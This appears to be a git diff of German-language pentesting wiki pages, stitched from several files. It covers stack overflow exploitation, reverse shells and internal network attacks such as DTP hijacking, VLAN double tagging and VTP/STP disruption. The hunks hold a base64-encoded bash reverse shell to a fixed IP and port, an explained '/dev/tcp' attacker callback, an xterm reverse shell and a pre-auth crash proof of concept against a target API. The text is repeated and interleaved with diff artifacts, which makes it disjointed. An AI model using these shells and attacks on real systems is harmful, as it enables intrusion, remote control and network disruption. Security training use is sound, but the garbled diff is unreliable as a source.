## Ausnutzen von Stack-Überläufen
|
||||
|
||||
Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) werden Sie in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis Sie das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichen.\
|
||||
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
|
||||
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass beim Ende der Funktion der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
|
||||
|
||||
In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
|
||||
In anderen Szenarien könnte es jedoch ausreichen, **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (in der Regel wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
|
||||
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion** finden, die aufgerufen werden soll (in der Regel wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -65,7 +65,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und die kontrollierte EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
|
||||
In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... Techniken
|
||||
|
||||
Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm ausgenutzt werden:
|
||||
Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die letztendlich beliebige Befehle ausführen, indem sie vorhandene Anweisungen im Binärprogramm ausnutzen:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -81,7 +81,7 @@ Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen
|
||||
|
||||
## Heap-Überläufe
|
||||
|
||||
Ein Überlauf wird nicht immer im Stack auftreten, er könnte auch im **Heap** auftreten, zum Beispiel:
|
||||
Ein Überlauf muss nicht immer im Stack sein, er könnte auch im **Heap** sein, zum Beispiel:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
@ -89,7 +89,7 @@ Ein Überlauf wird nicht immer im Stack auftreten, er könnte auch im **Heap** a
|
||||
|
||||
## Arten von Schutzmaßnahmen
|
||||
|
||||
Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern, überprüfen Sie diese in:
|
||||
Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Überprüfen Sie diese in:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
@ -106,7 +106,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Die erste Umwandlung (`%2s`) speichert sicher **zwei** Bytes in `version` (z.B. `"v1"`).
|
||||
2. Die zweite Umwandlung (`%s`) **hat keinen Längenbezeichner**, daher wird `sscanf` **bis zum ersten NUL-Byte** weiter kopieren.
|
||||
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zu einer Beschädigung von allem, was sich nach dem Puffer befindet ‑ einschließlich des **Stack-Canyons** und der **gespeicherten Rücksprungadresse**.
|
||||
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zur Beschädigung von allem, was sich nach dem Puffer befindet ‑ einschließlich des **Stack-Canyons** und der **gespeicherten Rücksprungadresse**.
|
||||
|
||||
Ein einzeiliger Proof-of-Concept reicht aus, um den Absturz **vor der Authentifizierung** auszulösen:
|
||||
```python
|
||||
@ -115,7 +115,7 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Obwohl Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein **Denial-of-Service**-Primitive (und möglicherweise mit zusätzlichen Informationslecks eine Codeausführung). Die Lektion ist einfach:
|
||||
Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein **Denial-of-Service**-Primitive (und möglicherweise mit zusätzlichen Informationslecks eine Codeausführung). Die Lektion ist einfach:
|
||||
|
||||
* Geben Sie immer eine **maximale Feldbreite** an (z.B. `%511s`).
|
||||
* Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`.
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
**Wenn Sie Fragen zu einer dieser Shells haben, können Sie sie bei** [**https://explainshell.com/**](https://explainshell.com) **überprüfen.**
|
||||
|
||||
## Vollständiges TTY
|
||||
## Full TTY
|
||||
|
||||
**Sobald Sie eine Reverse-Shell erhalten haben,** [**lesen Sie diese Seite, um ein vollständiges TTY zu erhalten**](full-ttys.md)**.**
|
||||
|
||||
@ -38,7 +38,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||
2. **`>&`**: Dieser Teil des Befehls ist eine Kurznotation für **das Umleiten von sowohl Standardausgabe** (`stdout`) als auch **Standardfehler** (`stderr`) an **das gleiche Ziel**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Dies ist eine spezielle Datei, die **eine TCP-Verbindung zur angegebenen IP-Adresse und dem Port** darstellt.
|
||||
- Durch **das Umleiten der Ausgabe- und Fehlerströme zu dieser Datei** sendet der Befehl effektiv die Ausgabe der interaktiven Shell-Sitzung an die Maschine des Angreifers.
|
||||
4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) an dasselbe Ziel wie die Standardausgabe (`stdout`) weiter**.
|
||||
4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) an das gleiche Ziel wie die Standardausgabe (`stdout`) weiter**.
|
||||
|
||||
### In Datei erstellen und ausführen
|
||||
```bash
|
||||
@ -79,7 +79,7 @@ Und dann kannst du ausführen:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
Um direkt eine interaktive Shell zu nutzen. Sie können `-b` für die Burpsuite-Integration hinzufügen und `-i` für einen einfacheren RCE-Wrap entfernen.
|
||||
Um direkt eine interaktive Shell zu nutzen. Sie können `-b` für die Burpsuite-Integration hinzufügen und `-i` entfernen, um einen einfacheren RCE-Wrap zu erhalten.
|
||||
|
||||
Eine weitere Möglichkeit besteht darin, die `IppSec`-Forward-Shell-Implementierung zu verwenden [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
@ -89,7 +89,7 @@ Sie müssen nur Folgendes anpassen:
|
||||
- Das Präfix und Suffix Ihres Payloads (falls vorhanden)
|
||||
- Die Art und Weise, wie der Payload gesendet wird (Header? Daten? Zusätzliche Informationen?)
|
||||
|
||||
Dann können Sie einfach **Befehle senden** oder sogar **den `upgrade`-Befehl verwenden**, um ein vollständiges PTY zu erhalten (beachten Sie, dass Pipes mit einer ungefähren Verzögerung von 1,3 Sekunden gelesen und geschrieben werden).
|
||||
Dann können Sie einfach **Befehle senden** oder sogar den **`upgrade`-Befehl** verwenden, um ein vollständiges PTY zu erhalten (beachten Sie, dass Pipes mit einer ungefähren Verzögerung von 1,3 Sekunden gelesen und geschrieben werden).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
@ -238,12 +238,12 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
|
||||
```
|
||||
Features:
|
||||
- Optional `--ssl` Flag für verschlüsselten Transport (TLS 1.3)
|
||||
- `-s` um beliebige Binärdatei (z.B. `/bin/sh`, `python3`) auf dem Opfer zu starten
|
||||
- `-s` um jede Binärdatei (z.B. `/bin/sh`, `python3`) auf dem Opfer zu starten
|
||||
- `--up` um automatisch auf ein vollständig interaktives PTY zu upgraden
|
||||
|
||||
## revsh (verschlüsselt & pivot-fähig)
|
||||
|
||||
`revsh` ist ein kleiner C-Client/Server, der ein vollständiges TTY über einen **verschlüsselten Diffie-Hellman-Tunnel** bereitstellt und optional eine **TUN/TAP**-Schnittstelle für reverse VPN-ähnliches Pivoting anhängen kann.
|
||||
`revsh` ist ein kleines C-Client/Server, das ein vollständiges TTY über einen **verschlüsselten Diffie-Hellman-Tunnel** bereitstellt und optional eine **TUN/TAP**-Schnittstelle für reverse VPN-ähnliches Pivoting anhängen kann.
|
||||
```bash
|
||||
# Build (or grab a pre-compiled binary from the releases page)
|
||||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||||
@ -338,7 +338,7 @@ Dies wird versuchen, eine Verbindung zu Ihrem System über Port 6001 herzustelle
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Um die Reverse-Shell abzufangen, können Sie (die auf Port 6001 lauscht) verwenden:
|
||||
Um die Reverse-Shell zu fangen, können Sie Folgendes verwenden (das auf Port 6001 lauscht):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
@ -347,7 +347,7 @@ Xnest :1
|
||||
```
|
||||
## Groovy
|
||||
|
||||
von [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) HINWEIS: Java Reverse Shell funktioniert auch für Groovy
|
||||
von [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) HINWEIS: Java reverse shell funktioniert auch für Groovy
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
|
||||
@ -22,7 +22,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
### TCP Port Discovery
|
||||
|
||||
Es ist sehr häufig, dass alle Arten von ICMP-Paketen gefiltert werden. Dann bleibt Ihnen nur die Möglichkeit, zu überprüfen, ob ein Host aktiv ist, indem Sie **versuchen, offene Ports zu finden**. Jeder Host hat **65535 Ports**, also, wenn Sie einen "großen" Umfang haben, können Sie **nicht** testen, ob **jeder Port** jedes Hosts offen ist oder nicht, das würde zu viel Zeit in Anspruch nehmen.\
|
||||
Was Sie brauchen, ist ein **schneller Port-Scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) und eine Liste der **am häufigsten verwendeten Ports:**
|
||||
Was Sie benötigen, ist ein **schneller Port-Scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) und eine Liste der **am häufigsten verwendeten Ports:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP-Port-Entdeckung
|
||||
|
||||
Sie könnten auch versuchen, einige **UDP-Ports** zu überprüfen, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
|
||||
Sie könnten auch versuchen, einige **UDP-Ports zu überprüfen**, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Aktiv
|
||||
|
||||
Beachten Sie, dass die in [_**Entdecken von Hosts von außen**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) kommentierten Techniken auch **hier angewendet** werden können.\
|
||||
Beachten Sie, dass die in [_**Entdecken von Hosts von außen**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) kommentierten Techniken auch hier **angewendet werden können**.\
|
||||
Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -98,7 +98,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch hier **angewendet werden können**.\
|
||||
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch **hier angewendet werden können**.\
|
||||
Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
|
||||
|
||||
- Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** gelangen und sie könnten **antworten**: `ping -b 10.10.5.255`
|
||||
@ -141,7 +141,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
Es gibt 2 Optionen, um einen UDP-Port zu scannen:
|
||||
|
||||
- Sende ein **UDP-Paket** und überprüfe die Antwort _**ICMP unreachable**_, wenn der Port **geschlossen** ist (in mehreren Fällen wird ICMP **gefiltert**, sodass du keine Informationen erhältst, ob der Port geschlossen oder offen ist).
|
||||
- Sende **formatierte Datagramme**, um eine Antwort von einem **Dienst** (z. B. DNS, DHCP, TFTP und andere, wie in _nmap-payloads_ aufgeführt) zu erhalten. Wenn du eine **Antwort** erhältst, ist der Port **offen**.
|
||||
- Sende **formatierte Datagramme**, um eine Antwort von einem **Dienst** (z.B. DNS, DHCP, TFTP und andere, wie in _nmap-payloads_ aufgeführt) zu erhalten. Wenn du eine **Antwort** erhältst, ist der Port **offen**.
|
||||
|
||||
**Nmap** wird **beide** Optionen mit "-sV" kombinieren (UDP-Scans sind sehr langsam), aber beachte, dass UDP-Scans langsamer sind als TCP-Scans:
|
||||
```bash
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** ist dafür ausgelegt, zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
|
||||
**SCTP (Stream Control Transmission Protocol)** wurde entwickelt, um zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
|
||||
|
||||
Die Unterstützung für **SCTP** wird von verschiedenen Betriebssystemen bereitgestellt, wie **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** und **VxWorks**, was auf seine breite Akzeptanz und Nützlichkeit im Bereich der Telekommunikation und Netzwerktechnologie hinweist.
|
||||
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### Offenlegung interner IP-Adressen
|
||||
|
||||
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nichtöffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere können auf Kali Linux Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
|
||||
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nicht öffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere können auf Kali Linux Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
Man kann auch Pakete von einem Remote-Computer über eine SSH-Sitzung mit Wireshark als GUI in Echtzeit erfassen.
|
||||
Man kann auch Pakete von einer entfernten Maschine über eine SSH-Sitzung mit Wireshark als GUI in Echtzeit erfassen.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Um die VLANs aufzulisten, ist es auch möglich, das DTP Desirable-Frame mit dem Skript [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** zu generieren. **Unterbrechen Sie das Skript unter keinen Umständen. Es injiziert alle drei Sekunden DTP Desirable. **Die dynamisch erstellten Trunk-Kanäle am Switch leben nur fünf Minuten. Nach fünf Minuten fällt der Trunk ab.**
|
||||
Um die VLANs zu enumerieren, ist es auch möglich, das DTP Desirable-Frame mit dem Skript [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** zu generieren. **Unterbrechen Sie das Skript unter keinen Umständen. Es injiziert alle drei Sekunden DTP Desirable. **Die dynamisch erstellten Trunk-Kanäle am Switch leben nur fünf Minuten. Nach fünf Minuten fällt der Trunk ab.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -327,9 +327,9 @@ Der besprochene Angriff von **Dynamic Trunking und dem Erstellen virtueller Schn
|
||||
|
||||
#### Doppelte Tagging
|
||||
|
||||
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem vorgesehenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** mit Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
|
||||
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem zugewiesenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** mit Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
|
||||
|
||||
Eine weitere Option für den Angreifer ist, einen **TCP-Port-Scan durchzuführen, indem er eine IP fälscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten von ihm besessenen Host sniffen, ob er einige Pakete vom Opfer erhält.
|
||||
Eine weitere Option für den Angreifer ist es, einen **TCP-Port-Scan durchzuführen, indem er eine IP fälscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten Host, der ihm gehört, sniffen, ob er einige Pakete vom Opfer erhält.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
Wenn Sie **Zugriff auf einen Switch haben, mit dem Sie direkt verbunden sind**, haben Sie die Möglichkeit, **VLAN-Segmentierung** im Netzwerk zu **umgehen**. Schalten Sie einfach den Port in den Trunk-Modus (auch bekannt als Trunk), erstellen Sie virtuelle Schnittstellen mit den IDs der Ziel-VLANs und konfigurieren Sie eine IP-Adresse. Sie können versuchen, die Adresse dynamisch (DHCP) anzufordern, oder Sie können sie statisch konfigurieren. Es hängt vom Fall ab.
|
||||
Wenn Sie **Zugriff auf einen Switch haben, mit dem Sie direkt verbunden sind**, haben Sie die Möglichkeit, **VLAN-Segmentierung** im Netzwerk zu **umgehen**. Schalten Sie einfach **den Port in den Trunk-Modus** (auch bekannt als Trunk), erstellen Sie virtuelle Schnittstellen mit den IDs der Ziel-VLANs und konfigurieren Sie eine IP-Adresse. Sie können versuchen, die Adresse dynamisch (DHCP) anzufordern, oder Sie können sie statisch konfigurieren. Es hängt vom Fall ab.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,30 +350,30 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als Private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router an einen anderen Client im selben Netzwerk weitergeleitet werden können.
|
||||
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router weitergeleitet werden können, um einen anderen Client im selben Netzwerk zu erreichen.
|
||||
|
||||
Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers** trägt. Dies führt dazu, dass der Router das Paket fälschlicherweise an den Ziel-Client weiterleitet. Dieser Ansatz ähnelt dem, der bei Double Tagging Attacks verwendet wird, bei dem die Fähigkeit, einen für das Opfer zugänglichen Host zu kontrollieren, genutzt wird, um die Sicherheitsanfälligkeit auszunutzen.
|
||||
|
||||
**Wichtige Schritte des Angriffs:**
|
||||
|
||||
1. **Erstellen eines Pakets:** Ein Paket wird speziell erstellt, um die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers, zu enthalten.
|
||||
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Ziel-Client umleitet und dabei die Isolation, die durch die Private VLAN-Einstellungen bereitgestellt wird, umgeht.
|
||||
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Ziel-Client umleitet und dabei die Isolation, die durch private VLAN-Einstellungen bereitgestellt wird, umgeht.
|
||||
|
||||
### VTP Angriffe
|
||||
|
||||
VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es verwendet Versionsnummern, um die Integrität der VLAN-Datenbank aufrechtzuerhalten; jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Versionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.
|
||||
VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es nutzt Versionsnummern, um die Integrität der VLAN-Datenbank aufrechtzuerhalten; jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Versionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.
|
||||
|
||||
#### VTP-Domain-Rollen
|
||||
#### VTP-Domänenrollen
|
||||
|
||||
- **VTP-Server:** Verwaltet VLANs—erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an die Mitglieder der Domain.
|
||||
- **VTP-Server:** Verwaltet VLANs—erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an die Mitglieder der Domäne.
|
||||
- **VTP-Client:** Empfängt VTP-Ankündigungen, um seine VLAN-Datenbank zu synchronisieren. Diese Rolle ist von lokalen VLAN-Konfigurationsänderungen ausgeschlossen.
|
||||
- **VTP-Transparent:** Nimmt nicht an VTP-Updates teil, leitet jedoch VTP-Ankündigungen weiter. Unberührt von VTP-Angriffen, behält es eine konstante Versionsnummer von null bei.
|
||||
|
||||
#### VTP-Ankündigungstypen
|
||||
|
||||
- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domaininformationen.
|
||||
- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domäneninformationen.
|
||||
- **Teilansicht-Ankündigung:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
|
||||
- **Ankündigungsanforderung:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
|
||||
- **Ankündigungsanfrage:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
|
||||
|
||||
VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffszenarien könnte der Fokus auf VTP verschwenken. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
|
||||
|
||||
@ -385,17 +385,17 @@ Im grafischen Modus von Yersinia wählen Sie die Option zum Löschen aller VTP-V
|
||||
|
||||
### STP-Angriffe
|
||||
|
||||
**Wenn Sie keine BPDU-Frames an Ihren Schnittstellen erfassen können, ist es unwahrscheinlich, dass Sie in einem STP-Angriff erfolgreich sind.**
|
||||
**Wenn Sie keine BPDU-Frames an Ihren Schnittstellen erfassen können, ist es unwahrscheinlich, dass Sie bei einem STP-Angriff erfolgreich sind.**
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
